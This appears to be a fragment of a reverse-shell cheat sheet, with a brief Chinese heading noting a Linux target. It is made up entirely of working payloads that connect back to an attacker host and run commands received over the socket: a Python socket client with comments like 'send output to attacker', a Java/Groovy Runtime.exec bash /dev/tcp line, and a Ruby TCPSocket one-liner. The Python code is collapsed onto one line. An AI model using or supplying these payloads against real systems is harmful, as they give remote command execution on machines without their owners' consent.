HOST = '10.16.44.100'# The remote host PORT = 443# The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to attacker machine s.connect((HOST, PORT)) # send we are connected s.send('[*] Connection Established!') # start loop while1: # recieve shell command data = s.recv(1024) # if its quit, then break out and close socket if data == "quit": break # do shell command proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read output stdout_value = proc.stdout.read() + proc.stderr.read() # send output to attacker s.send(stdout_value) # close socket s.close()
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Ruby
目标基于linux
1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'